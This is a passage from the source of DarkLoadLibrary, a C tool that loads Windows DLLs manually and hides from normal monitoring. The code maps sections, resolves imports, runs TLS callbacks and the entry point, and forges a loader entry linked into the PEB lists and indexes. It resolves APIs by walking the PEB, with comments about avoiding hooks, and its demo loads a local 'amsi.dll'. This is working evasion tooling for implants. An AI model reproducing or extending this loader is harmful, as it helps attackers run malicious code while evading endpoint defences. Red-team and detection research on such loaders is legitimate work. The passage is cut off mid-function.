323 | PIMAGE_IMPORT_BY_NAME,
324 | pdModule->ModuleBase,
325 | pOrigFirstThunk->u1.AddressOfData
326 | );
327 |
328 | FILL_STRING(
329 | aString,
330 | pImportByName->Name
331 | );
332 |
333 | ok = LocalLdrGetProcedureAddress(
334 | hLibrary,
335 | &aString,
336 | 0,
337 | (PVOID*)&(pFirstThunk->u1.Function)
338 | );
339 | if (!ok)
340 | return FALSE;
341 | }
342 | }
343 | }
344 | }
345 |
346 | return TRUE;
347 | }
348 |
349 | BOOL BeginExecution(
350 | PDARKMODULE pdModule
351 | )
352 | {
353 | DWORD dwProtect;
354 | PIMAGE_NT_HEADERS pNtHeaders;
355 | PIMAGE_TLS_DIRECTORY pTlsDir;
356 | PIMAGE_DATA_DIRECTORY pDataDir;
357 | PIMAGE_TLS_CALLBACK* ppCallback;
358 | PIMAGE_SECTION_HEADER pSectionHeader;
359 | //PIMAGE_RUNTIME_FUNCTION_ENTRY pFuncEntry;
360 |
361 | VIRTUALPROTECT pVirtualProtect = (VIRTUALPROTECT)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "VirtualProtect");
362 | FLUSHINSTRUCTIONCACHE pFlushInstructionCache = (FLUSHINSTRUCTIONCACHE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "FlushInstructionCache");
363 |
364 | DLLMAIN DllMain = NULL;
365 |
366 | pNtHeaders = RVA(
367 | PIMAGE_NT_HEADERS,
368 | pdModule->pbDllData,
369 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew
370 | );
371 |
372 | pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
373 |
374 | for (INT i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++)
375 | {
376 | if (pSectionHeader->SizeOfRawData)
377 | {
378 | // what protections should it have
379 | DWORD dwExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
380 | DWORD dwReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
381 | DWORD dwWriteable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
382 |
383 | if (!dwExecutable && !dwReadable && !dwWriteable) { dwProtect = PAGE_NOACCESS; }
384 | else if (!dwExecutable && !dwReadable && dwWriteable) { dwProtect = PAGE_WRITECOPY; }
385 | else if (!dwExecutable && dwReadable && !dwWriteable) { dwProtect = PAGE_READONLY; }
386 | else if (!dwExecutable && dwReadable && dwWriteable) { dwProtect = PAGE_READWRITE; }
387 | else if (dwExecutable && !dwReadable && !dwWriteable) { dwProtect = PAGE_EXECUTE; }
388 | else if (dwExecutable && !dwReadable && dwWriteable) { dwProtect = PAGE_EXECUTE_WRITECOPY; }
389 | else if (dwExecutable && dwReadable && !dwWriteable) { dwProtect = PAGE_EXECUTE_READ; }
390 | else if (dwExecutable && dwReadable && dwWriteable) { dwProtect = PAGE_EXECUTE_READWRITE; }
391 |
392 | if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
393 | {
394 | dwProtect |= PAGE_NOCACHE;
395 | }
396 | #if _M_X64
397 | PVOID BaseAddress = (PVOID)(pdModule->ModuleBase + pSectionHeader->VirtualAddress);
398 | SIZE_T RegionSize = pSectionHeader->SizeOfRawData;
399 | NTSTATUS status = NtProtectVirtualMemory(
400 | (HANDLE)-1,
401 | &BaseAddress,
402 | &RegionSize,
403 | dwProtect,
404 | &dwProtect
405 | );
406 | if (!NT_SUCCESS(status))
407 | {
408 | return FALSE;
409 | }
410 | #else
411 | pVirtualProtect(
412 | (LPVOID)(pdModule->ModuleBase + pSectionHeader->VirtualAddress),
413 | pSectionHeader->SizeOfRawData,
414 | dwProtect,
415 | &dwProtect
416 | );
417 | #endif
418 | }
419 | }
420 |
421 | // flush the instruction cache
422 | pFlushInstructionCache((HANDLE)-1, NULL, 0);
423 |
424 | // execute the TLS callbacks
425 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
426 |
427 | if (pDataDir->Size)
428 | {
429 | pTlsDir = RVA(
430 | PIMAGE_TLS_DIRECTORY,
431 | pdModule->ModuleBase,
432 | pDataDir->VirtualAddress
433 | );
434 |
435 | ppCallback = (PIMAGE_TLS_CALLBACK*)(pTlsDir->AddressOfCallBacks);
436 |
437 | for (; *ppCallback; ppCallback++)
438 | {
439 | (*ppCallback)((LPVOID)pdModule->ModuleBase, DLL_PROCESS_ATTACH, NULL);
440 | }
441 | }
442 |
443 | // on x64 register the exception handlers
444 | // #ifdef _WIN64
445 | // pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
446 |
447 | // if (pDataDir->Size)
448 | // {
449 | // pFuncEntry = RVA(
450 | // PIMAGE_RUNTIME_FUNCTION_ENTRY,
451 | // pdModule->ModuleBase,
452 | // pDataDir->VirtualAddress
453 | // );
454 |
455 | // RtlAddFunctionTable(
456 | // (PRUNTIME_FUNCTION)pFuncEntry,
457 | // (pDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1,
458 | // pdModule->ModuleBase
459 | // );
460 | // }
461 | // #endif
462 |
463 | // some DLLs don't have an entry point
464 | if (pNtHeaders->OptionalHeader.AddressOfEntryPoint == 0)
465 | return TRUE;
466 |
467 | // call the image entry point
468 | DllMain = RVA(
469 | DLLMAIN,
470 | pdModule->ModuleBase,
471 | pNtHeaders->OptionalHeader.AddressOfEntryPoint
472 | );
473 |
474 | BOOL ok = DllMain(
475 | (HINSTANCE)pdModule->ModuleBase,
476 | DLL_PROCESS_ATTACH,
477 | (LPVOID)NULL
478 | );
479 |
480 | return ok;
481 | }
--------------------------------------------------------------------------------
/DarkLoadLibrary/src/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "pebutils.h"
5 | #include "darkloadlibrary.h"
6 |
7 | typedef DWORD (WINAPI * _ThisIsAFunction) (LPCWSTR);
8 |
9 | VOID main()
10 | {
11 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap");
12 | HEAPFREE pHeapFree = (HEAPFREE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapFree");
13 |
14 | PDARKMODULE DarkModule = DarkLoadLibrary(
15 | LOAD_LOCAL_FILE,
16 | L".\\amsi.dll",
17 | NULL,
18 | 0,
19 | NULL
20 | );
21 |
22 | if (!DarkModule->bSuccess)
23 | {
24 | printf("load failed: %S\n", DarkModule->ErrorMsg);
25 | pHeapFree(pGetProcessHeap(), 0, DarkModule->ErrorMsg);
26 | pHeapFree(pGetProcessHeap(), 0, DarkModule);
27 | return;
28 | }
29 |
30 | _ThisIsAFunction ThisIsAFunction = (_ThisIsAFunction)GetFunctionAddress(
31 | (HMODULE)DarkModule->ModuleBase,
32 | "CallThisFunction"
33 | );
34 | pHeapFree(pGetProcessHeap(), 0, DarkModule);
35 |
36 | if (!ThisIsAFunction)
37 | {
38 | printf("failed to find it\n");
39 | return;
40 | }
41 |
42 | ThisIsAFunction(L"this is working!!!");
43 |
44 | return;
45 | }
--------------------------------------------------------------------------------
/DarkLoadLibrary/src/pebutils.c:
--------------------------------------------------------------------------------
1 | #include "pebutils.h"
2 |
3 | ULONG LdrHashEntry(UNICODE_STRING UniName, BOOL XorHash) {
4 | ULONG ulRes = 0;
5 | RTLHASHUNICODESTRING pRtlHashUnicodeString = (RTLHASHUNICODESTRING)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlHashUnicodeString");
6 |
7 | pRtlHashUnicodeString(
8 | &UniName,
9 | TRUE,
10 | 0,
11 | &ulRes
12 | );
13 |
14 | if (XorHash)
15 | {
16 | ulRes &= (LDR_HASH_TABLE_ENTRIES - 1);
17 | }
18 |
19 | return ulRes;
20 | }
21 |
22 | PLDR_DATA_TABLE_ENTRY2 FindLdrTableEntry(
23 | PCWSTR BaseName
24 | )
25 | {
26 | PPEB2 pPeb;
27 | PLDR_DATA_TABLE_ENTRY2 pCurEntry;
28 | PLIST_ENTRY pListHead, pListEntry;
29 |
30 | pPeb = (PPEB2)READ_MEMLOC(PEB_OFFSET);
31 |
32 | if (pPeb == NULL)
33 | {
34 | return NULL;
35 | }
36 |
37 | pListHead = &pPeb->Ldr->InLoadOrderModuleList;
38 | pListEntry = pListHead->Flink;
39 |
40 | do
41 | {
42 | pCurEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY2, InLoadOrderLinks);
43 | pListEntry = pListEntry->Flink;
44 |
45 | //BOOL BaseName1 = WideStringCompare(BaseName, pCurEntry->BaseDllName.Buffer, (pCurEntry->BaseDllName.Length / sizeof(wchar_t)) - 4);
46 | BOOL BaseName2 = WideStringCompare(BaseName, pCurEntry->BaseDllName.Buffer, WideStringLength(BaseName));
47 |
48 | if (BaseName2 == TRUE)
49 | {
50 | return pCurEntry;
51 | }
52 |
53 | } while (pListEntry != pListHead);
54 |
55 | return NULL;
56 |
57 | }
58 |
59 | PRTL_RB_TREE FindModuleBaseAddressIndex()
60 | {
61 | SIZE_T stEnd = 0;
62 | PRTL_BALANCED_NODE pNode = NULL;
63 | PRTL_RB_TREE pModBaseAddrIndex = NULL;
64 |
65 | /*
66 | TODO:
67 | Implement these manually cause these could totally be hooked
68 | and various other reasons
69 | */
70 | RTLCOMPAREMEMORY pRtlCompareMemory = (RTLCOMPAREMEMORY)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlCompareMemory");
71 | STRCMP pstrcmp = (STRCMP)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "strcmp");
72 |
73 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry = FindLdrTableEntry(L"ntdll.dll");
74 |
75 | pNode = &pLdrEntry->BaseAddressIndexNode;
76 |
77 | do
78 | {
79 | pNode = (PRTL_BALANCED_NODE)(pNode->ParentValue & (~7));
80 | } while (pNode->ParentValue & (~7));
81 |
82 | if (!pNode->Red)
83 | {
84 | DWORD dwLen = 0;
85 | SIZE_T stBegin = 0;
86 |
87 | PIMAGE_NT_HEADERS pNtHeaders = RVA(
88 | PIMAGE_NT_HEADERS,
89 | pLdrEntry->DllBase,
90 | ((PIMAGE_DOS_HEADER)pLdrEntry->DllBase)->e_lfanew
91 | );
92 |
93 | PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
94 |
95 | for (INT i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
96 | {
97 | if (!pstrcmp(".data", (LPCSTR)pSection->Name))
98 | {
99 | stBegin = (SIZE_T)pLdrEntry->DllBase + pSection->VirtualAddress;
100 | dwLen = pSection->Misc.VirtualSize;
101 |
102 | break;
103 | }
104 |
105 | ++pSection;
106 | }
107 |
108 | for (DWORD i = 0; i < dwLen - sizeof(SIZE_T); ++stBegin, ++i)
109 | {
110 |
111 | SIZE_T stRet = pRtlCompareMemory(
112 | (PVOID)stBegin,
113 | (PVOID)&pNode,
114 | sizeof(SIZE_T)
115 | );
116 |
117 | if (stRet == sizeof(SIZE_T))
118 | {
119 | stEnd = stBegin;
120 | break;
121 | }
122 | }
123 |
124 | if (stEnd == 0)
125 | {
126 | return NULL;
127 | }
128 |
129 | PRTL_RB_TREE pTree = (PRTL_RB_TREE)stEnd;
130 |
131 | if (pTree && pTree->Root && pTree->Min)
132 | {
133 | pModBaseAddrIndex = pTree;
134 | }
135 | }
136 |
137 | return pModBaseAddrIndex;
138 | }
139 |
140 | BOOL AddBaseAddressEntry(
141 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry,
142 | PVOID lpBaseAddr
143 | )
144 | {
145 | RTLRBINSERTNODEEX pRtlRbInsertNodeEx = (RTLRBINSERTNODEEX)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlRbInsertNodeEx");
146 | PRTL_RB_TREE pModBaseAddrIndex = FindModuleBaseAddressIndex();
147 |
148 | if (!pModBaseAddrIndex)
149 | {
150 | return FALSE;
151 | }
152 |
153 | BOOL bRight = FALSE;
154 | PLDR_DATA_TABLE_ENTRY2 pLdrNode = (PLDR_DATA_TABLE_ENTRY2)((size_t)pModBaseAddrIndex - offsetof(LDR_DATA_TABLE_ENTRY2, BaseAddressIndexNode));
155 |
156 | do
157 | {
158 |
159 | if (lpBaseAddr < pLdrNode->DllBase)
160 | {
161 | if (!pLdrNode->BaseAddressIndexNode.Left)
162 | {
163 | break;
164 | }
165 |
166 | pLdrNode = (PLDR_DATA_TABLE_ENTRY2)((size_t)pLdrNode->BaseAddressIndexNode.Left - offsetof(LDR_DATA_TABLE_ENTRY2, BaseAddressIndexNode));
167 | }
168 |
169 | else if (lpBaseAddr > pLdrNode->DllBase)
170 | {
171 | if (!pLdrNode->BaseAddressIndexNode.Right)
172 | {
173 | bRight = TRUE;
174 | break;
175 | }
176 |
177 | pLdrNode = (PLDR_DATA_TABLE_ENTRY2)((size_t)pLdrNode->BaseAddressIndexNode.Right - offsetof(LDR_DATA_TABLE_ENTRY2, BaseAddressIndexNode));
178 | }
179 |
180 | else
181 | {
182 | pLdrNode->DdagNode->LoadCount++;
183 | }
184 | } while (TRUE);
185 |
186 | pRtlRbInsertNodeEx(pModBaseAddrIndex, &pLdrNode->BaseAddressIndexNode, bRight, &pLdrEntry->BaseAddressIndexNode);
187 |
188 | return TRUE;
189 | }
190 |
191 | PLIST_ENTRY FindHashTable() {
192 | PLIST_ENTRY pList = NULL;
193 | PLIST_ENTRY pHead = NULL;
194 | PLIST_ENTRY pEntry = NULL;
195 | PLDR_DATA_TABLE_ENTRY2 pCurrentEntry = NULL;
196 |
197 | PPEB2 pPeb = (PPEB2)READ_MEMLOC(PEB_OFFSET);
198 |
199 | pHead = &pPeb->Ldr->InInitializationOrderModuleList;
200 | pEntry = pHead->Flink;
201 |
202 | do
203 | {
204 | pCurrentEntry = CONTAINING_RECORD(
205 | pEntry,
206 | LDR_DATA_TABLE_ENTRY2,
207 | InInitializationOrderLinks
208 | );
209 |
210 | pEntry = pEntry->Flink;
211 |
212 | if (pCurrentEntry->HashLinks.Flink == &pCurrentEntry->HashLinks)
213 | {
214 | continue;
215 | }
216 |
217 | pList = pCurrentEntry->HashLinks.Flink;
218 |
219 | if (pList->Flink == &pCurrentEntry->HashLinks)
220 | {
221 | ULONG ulHash = LdrHashEntry(
222 | pCurrentEntry->BaseDllName,
223 | TRUE
224 | );
225 |
226 | pList = (PLIST_ENTRY)(
227 | (size_t)pCurrentEntry->HashLinks.Flink -
228 | ulHash *
229 | sizeof(LIST_ENTRY)
230 | );
231 |
232 | break;
233 | }
234 |
235 | pList = NULL;
236 | } while (pHead != pEntry);
237 |
238 | return pList;
239 | }
240 |
241 | VOID InsertTailList(
242 | PLIST_ENTRY ListHead,
243 | PLIST_ENTRY Entry
244 | )
245 | {
246 | PLIST_ENTRY Blink;
247 |
248 | Blink = ListHead->Blink;
249 | Entry->Flink = ListHead;
250 | Entry->Blink = Blink;
251 | Blink->Flink = Entry;
252 | ListHead->Blink = Entry;
253 |
254 | return;
255 | }
256 |
257 | BOOL AddHashTableEntry(
258 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry
259 | )
260 | {
261 | PPEB pPeb;
262 | PPEB_LDR_DATA2 pPebData;
263 | PLIST_ENTRY LdrpHashTable;
264 |
265 | pPeb = (PPEB)READ_MEMLOC(PEB_OFFSET);
266 |
267 | RtlInitializeListEntry(
268 | &pLdrEntry->HashLinks
269 | );
270 |
271 | LdrpHashTable = FindHashTable();
272 | if (!LdrpHashTable)
273 | {
274 | return FALSE;
275 | }
276 |
277 | pPebData = (PPEB_LDR_DATA2)pPeb->Ldr;
278 |
279 | // insert into hash table
280 | ULONG ulHash = LdrHashEntry(
281 | pLdrEntry->BaseDllName,
282 | TRUE
283 | );
284 |
285 | InsertTailList(
286 | &LdrpHashTable[ulHash],
287 | &pLdrEntry->HashLinks
288 | );
289 |
290 | // insert into other lists
291 | InsertTailList(
292 | &pPebData->InLoadOrderModuleList,
293 | &pLdrEntry->InLoadOrderLinks
294 | );
295 |
296 | InsertTailList(
297 | &pPebData->InMemoryOrderModuleList,
298 | &pLdrEntry->InMemoryOrderLinks
299 | );
300 |
301 | InsertTailList(
302 | &pPebData->InInitializationOrderModuleList,
303 | &pLdrEntry->InInitializationOrderLinks
304 | );
305 |
306 | return TRUE;
307 | }
308 |
309 | HMODULE IsModulePresentA(
310 | char* Name
311 | )
312 | {
313 | MULTIBYTETOWIDECHAR pMultiByteToWideChar = (MULTIBYTETOWIDECHAR)GetFunctionAddress(IsModulePresent(L"kernel32.dll"), "MultiByteToWideChar");
314 |
315 | WCHAR* wideName = NULL;
316 | DWORD wideNameSize = 0;
317 |
318 | // MultiByteToWideChar returns size in characters, not bytes
319 | wideNameSize = pMultiByteToWideChar(CP_UTF8, 0, Name, -1, NULL, 0) * 2;
320 |
321 | /*
322 | Attempt to allocate this on the stack, seeing as it's faster and we can attempt
323 | to avoid funny shit like heap fragmentation on a simple temp var
324 | */
325 | wideName = (WCHAR*)_malloca(wideNameSize);
326 |
327 | pMultiByteToWideChar(CP_UTF8, 0, Name, -1, wideName, wideNameSize);
328 |
329 | HMODULE hModule = IsModulePresent(wideName);
330 |
331 | _freea(wideName);
332 |
333 | return hModule;
334 | }
335 |
336 | HMODULE IsModulePresent(
337 | LPCWSTR lpwName
338 | )
339 | {
340 | if (lpwName == NULL)
341 | return (HMODULE)NULL;
342 |
343 | PPEB pPeb;
344 | PUCHAR ucModPtrOff;
345 | PLDR_DATA_TABLE_ENTRY2 pLdrTbl;
346 |
347 | pPeb = (PPEB)READ_MEMLOC(PEB_OFFSET);
348 |
349 | PLIST_ENTRY pModListEnd = &pPeb->Ldr->InMemoryOrderModuleList;
350 | PLIST_ENTRY pModList = pModListEnd->Flink;
351 |
352 | do
353 | {
354 | ucModPtrOff = (PUCHAR)pModList - (sizeof(LIST_ENTRY));
355 |
356 | pLdrTbl = (PLDR_DATA_TABLE_ENTRY2)ucModPtrOff;
357 |
358 | /*
359 | TODO:
360 | Make this its own ANSI case-insensitive string compare function
361 | */
362 | BOOL match = TRUE;
363 | for (int i = 0; i < pLdrTbl->BaseDllName.Length/2; i++)
364 | {
365 | char a, b;
366 | a = pLdrTbl->BaseDllName.Buffer[i];
367 | b = lpwName[i];
368 | if (a >= 'A' && a <= 'Z')
369 | a += 32;
370 | if (b >= 'A' && b <= 'Z')
371 | b += 32;
372 | if (a != b)
373 | {
374 | match = FALSE;
375 | break;
376 | }
377 | }
378 | if (match)
379 | {
380 | // already loaded, so return the base address
381 | return (HMODULE)pLdrTbl->DllBase;
382 | }
383 |
384 | pModList = pModList->Flink;
385 | } while (pModList != pModListEnd);
386 |
387 | return (HMODULE)NULL;
388 | }
389 |
390 | PVOID GetFunctionAddress(
391 | HMODULE hModule,
392 | char* ProcName
393 | )
394 | {
395 | STRING aString = { 0 };
396 | FILL_STRING(
397 | aString,
398 | ProcName
399 | );
400 |
401 | PVOID FunctionAddress = NULL;
402 | BOOL ok = LocalLdrGetProcedureAddress(
403 | hModule,
404 | &aString,
405 | 0,
406 | &FunctionAddress
407 | );
408 | if (!ok)
409 | return NULL;
410 | return FunctionAddress;
411 | }
412 |
413 | BOOL LocalLdrGetProcedureAddress(
414 | HMODULE hLibrary,
415 | PANSI_STRING ProcName,
416 | WORD Ordinal,
417 | PVOID* FunctionAddress
418 | )
419 | {
420 | if (ProcName == NULL && Ordinal == 0)
421 | {
422 | printf("LocalLdrGetProcedureAddress: provide either a Function name or Ordinal\n");
423 | return FALSE;
424 | }
425 |
426 | if (ProcName != NULL && Ordinal != 0)
427 | {
428 | printf("LocalLdrGetProcedureAddress: provide Function name or Ordinal, not both\n");
429 | return FALSE;
430 | }
431 |
432 | BOOL ok = FALSE;
433 | if (hLibrary != NULL)
434 | {
435 | ok = _LocalLdrGetProcedureAddress(
436 | hLibrary,
437 | ProcName,
438 | Ordinal,
439 | FunctionAddress
440 | );
441 | if (ok)
442 | return TRUE;
443 | }
444 |
445 | // some deprecated DLLs have their functions implemented in KERNEL32 and KERNELBASE
446 | PVOID kernel32_addr = IsModulePresent(L"KERNEL32.dll");
447 | if (kernel32_addr != hLibrary)
448 | {
449 | ok = _LocalLdrGetProcedureAddress(
450 | kernel32_addr,
451 | ProcName,
452 | Ordinal,
453 | FunctionAddress
454 | );
455 | }
456 | if (ok)
457 | return TRUE;
458 |
459 | PVOID kernelbase_addr = IsModulePresent(L"KERNELBASE.dll");
460 | if (kernelbase_addr != hLibrary)
461 | {
462 | ok = _LocalLdrGetProcedureAddress(
463 | kernelbase_addr,
464 | ProcName,
465 | Ordinal,
466 | FunctionAddress
467 | );
468 | }
469 | if (ok)
470 | return TRUE;
471 |
472 | //printf("Using fallback LdrGetProcedureAddress for resolving an unknown function address\n");
473 |
474 | *FunctionAddress = NULL;
475 | LDRGETPROCADDRESS pLdrGetProcedureAddress = NULL;
476 | STRING funcname_s = { 0 };
477 | FILL_STRING(
478 | funcname_s,
479 | "LdrGetProcedureAddress"
480 | );
481 | _LocalLdrGetProcedureAddress(
482 | IsModulePresent(L"ntdll.dll"),
483 | &funcname_s,
484 | 0,
485 | (PVOID*)&pLdrGetProcedureAddress
486 | );
487 | pLdrGetProcedureAddress(
488 | hLibrary,
489 | ProcName,
490 | Ordinal,
491 | FunctionAddress
492 | );
493 | return *FunctionAddress != NULL;
494 | }
495 |
496 | BOOL my_strncmp(char* s1, char* s2, size_t n)
497 | {
498 | BOOL match = TRUE;
499 | for (size_t i = 0; i < n; i++)
500 | {
501 | if (s1[i] != s2[i])
502 | {
503 | match = FALSE;
504 | break;
505 | }
506 | }
507 | return match;
508 | }
509 |
510 | size_t my_strlen(char* s)
511 | {
512 | size_t size = -1;
513 | while (s[++size]);
514 | return size;
515 | }
516 |
517 | void my_strncpy(char* dst, char* src, size_t size)
518 | {
519 | for (size_t i = 0; i < size; i++)
520 | {
521 | dst[i] = src[i];
522 | if (!src[i])
523 | break;
524 | }
525 | }
526 |
527 | BOOL _LocalLdrGetProcedureAddress(
528 | HMODULE hLibrary,
529 | PANSI_STRING ProcName,
530 | WORD Ordinal,
531 | PVOID* FunctionAddress
532 | )
533 | {
534 | PIMAGE_NT_HEADERS pNtHeaders;
535 | PIMAGE_DATA_DIRECTORY pDataDir;
536 | PIMAGE_EXPORT_DIRECTORY pExpDir;
537 | PIMAGE_SECTION_HEADER pSecHeader;
538 |
539 | if (hLibrary == NULL)
540 | return FALSE;
541 |
542 | pNtHeaders = RVA(
543 | PIMAGE_NT_HEADERS,
544 | hLibrary,
545 | ((PIMAGE_DOS_HEADER)hLibrary)->e_lfanew
546 | );
547 |
548 | if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
549 | {
550 | printf("LocalLdrGetProcedureAddress: invalid IMAGE_NT_SIGNATURE\n");
551 | return FALSE;
552 | }
553 |
554 | // find the address range for the .text section
555 | PVOID startValidSection = NULL;
556 | PVOID endValidSection = NULL;
557 |
558 | for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
559 | {
560 | pSecHeader = RVA(
561 | PIMAGE_SECTION_HEADER,
562 | &pNtHeaders->OptionalHeader,
563 | pNtHeaders->FileHeader.SizeOfOptionalHeader + i * IMAGE_SIZEOF_SECTION_HEADER
564 | );
565 | if (my_strncmp(".text", pSecHeader->Name, 6))
566 | {
567 | startValidSection = RVA(
568 | PVOID,
569 | hLibrary,
570 | pSecHeader->VirtualAddress
571 | );
572 | endValidSection = RVA(
573 | PVOID,
574 | startValidSection,
575 | pSecHeader->SizeOfRawData
576 | );
577 | break;
578 | }
579 | }
580 | if (startValidSection == NULL || endValidSection == NULL)
581 | return FALSE;
582 |
583 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
584 | if (pDataDir->Size)
585 | {
586 | pExpDir = RVA(
587 | PIMAGE_EXPORT_DIRECTORY,
588 | hLibrary,
589 | pDataDir->VirtualAddress
590 | );
591 |
592 | int numberOfEntries = ProcName != NULL ? pExpDir->NumberOfNames : pExpDir->NumberOfFunctions;
593 | // iterate over all the exports
594 | for (int i = 0; i < numberOfEntries; i++)
595 | {
596 | BOOL found = FALSE;
597 | ULONG32 FunctionOrdinal;
598 | if (ProcName != NULL)
599 | {
600 | // searching by name
601 | ULONG32* pRVA = RVA(
602 | ULONG32*,
603 | hLibrary,
604 | pExpDir->AddressOfNames + i * 4
605 | );
606 | LPCSTR functionName = RVA(
607 | LPCSTR,
608 | hLibrary,
609 | *pRVA
610 | );
611 | if (my_strlen(functionName) != ProcName->Length)
612 | continue;
613 | if (my_strncmp(functionName, ProcName->Buffer, ProcName->Length))
614 | {
615 | // found it
616 | found = TRUE;
617 | short* pRVA2 = RVA(
618 | short*,
619 | hLibrary,
620 | pExpDir->AddressOfNameOrdinals + i * 2
621 | );
622 | FunctionOrdinal = pExpDir->Base + *pRVA2;
623 | }
624 | }
625 | else
626 | {
627 | // searching by ordinal
628 | short* pRVA2 = RVA(
629 | short*,
630 | hLibrary,
631 | pExpDir->AddressOfNameOrdinals + i * 2
632 | );
633 | FunctionOrdinal = pExpDir->Base + *pRVA2;
634 | if (FunctionOrdinal == Ordinal)
635 | {
636 | // found it
637 | found = TRUE;
638 | }
639 | }
640 | if (found)
641 | {
642 | ULONG32* pFunctionRVA = RVA(
643 | ULONG32*,
644 | hLibrary,
645 | pExpDir->AddressOfFunctions + 4 * (FunctionOrdinal - pExpDir->Base)
646 | );
647 | PVOID FunctionPtr = RVA(
648 | PVOID,
649 | hLibrary,
650 | *pFunctionRVA
651 | );
652 |
653 | if (startValidSection > FunctionPtr || FunctionPtr > endValidSection)
654 | {
655 | // this is not a pointer to a function, but a reference to another library with the real address
656 | size_t full_length = my_strlen((char*)FunctionPtr);
657 | int lib_length = 0;
658 | for (int j = 0; j < full_length; j++)
659 | {
660 | if (((char*)FunctionPtr)[j] == '.')
661 | {
662 | lib_length = j;
663 | break;
664 | }
665 | }
666 | if (lib_length != 0)
667 | {
668 |
669 | size_t func_length = full_length - lib_length - 1;
670 | char libname[256];
671 | my_strncpy(libname, (char*)FunctionPtr, lib_length);
672 | my_strncpy(libname + lib_length, ".dll", 5);
673 | char* funcname = (char*)FunctionPtr + lib_length + 1;
674 | STRING funcname_s = { 0 };
675 | FILL_STRING(
676 | funcname_s,
677 | funcname
678 | );
679 | PVOID lib_addr = IsModulePresentA(libname);
680 | if (lib_addr == NULL || lib_addr == hLibrary)
681 | {
682 | return FALSE;
683 | }
684 |
685 | // call ourselves recursively
686 | BOOL ok = FALSE;
687 | ok = LocalLdrGetProcedureAddress(
688 | lib_addr,
689 | &funcname_s,
690 | 0,
691 | &FunctionPtr
692 | );
693 | if (!ok)
694 | {
695 | printf("LocalLdrGetProcedureAddress: failed to resolve address of: %s!%s\n", libname, funcname);
696 | return FALSE;
697 | }
698 | }
699 | }
700 | *FunctionAddress = FunctionPtr;
701 | return TRUE;
702 | }
703 | }
704 | }
705 | return FALSE;
706 | }
707 |
708 | BOOL LinkModuleToPEB(
709 | PDARKMODULE pdModule
710 | )
711 | {
712 | PIMAGE_NT_HEADERS pNtHeaders;
713 | UNICODE_STRING FullDllName, BaseDllName;
714 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry = NULL;
715 |
716 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap");
717 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc");
718 | RTLINITUNICODESTRING pRtlInitUnicodeString = (RTLINITUNICODESTRING)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlInitUnicodeString");
719 | NTQUERYSYSTEMTIME pNtQuerySystemTime = (NTQUERYSYSTEMTIME)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "NtQuerySystemTime");
720 |
721 | pNtHeaders = RVA(
722 | PIMAGE_NT_HEADERS,
723 | pdModule->pbDllData,
724 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew
725 | );
726 |
727 | // convert the names to unicode
728 | pRtlInitUnicodeString(
729 | &FullDllName,
730 | pdModule->LocalDLLName
731 | );
732 |
733 | pRtlInitUnicodeString(
734 | &BaseDllName,
735 | pdModule->CrackedDLLName
736 | );
737 |
738 | // link the entry to the PEB
739 | pLdrEntry = (PLDR_DATA_TABLE_ENTRY2)pHeapAlloc(
740 | pGetProcessHeap(),
741 | HEAP_ZERO_MEMORY,
742 | sizeof(LDR_DATA_TABLE_ENTRY2)
743 | );
744 |
745 | if (!pLdrEntry)
746 | {
747 | return FALSE;
748 | }
749 |
750 | // start setting the values in the entry
751 | pNtQuerySystemTime(&pLdrEntry->LoadTime);
752 |
753 | // do the obvious ones
754 | pLdrEntry->ReferenceCount = 1;
755 | pLdrEntry->LoadReason = LoadReasonDynamicLoad;
756 | pLdrEntry->OriginalBase = pNtHeaders->OptionalHeader.ImageBase;
757 |
758 | // set the hash value
759 | pLdrEntry->BaseNameHashValue = LdrHashEntry(
760 | BaseDllName,
761 | FALSE
762 | );
763 |
764 | // correctly add the base address to the entry
765 | AddBaseAddressEntry(
766 | pLdrEntry,
767 | (PVOID)pdModule->ModuleBase
768 | );
769 |
770 | // and the rest
771 | pLdrEntry->ImageDll = TRUE;
772 | pLdrEntry->LoadNotificationsSent = TRUE; // lol
773 | pLdrEntry->EntryProcessed = TRUE;
774 | pLdrEntry->InLegacyLists = TRUE;
775 | pLdrEntry->InIndexes = TRUE;
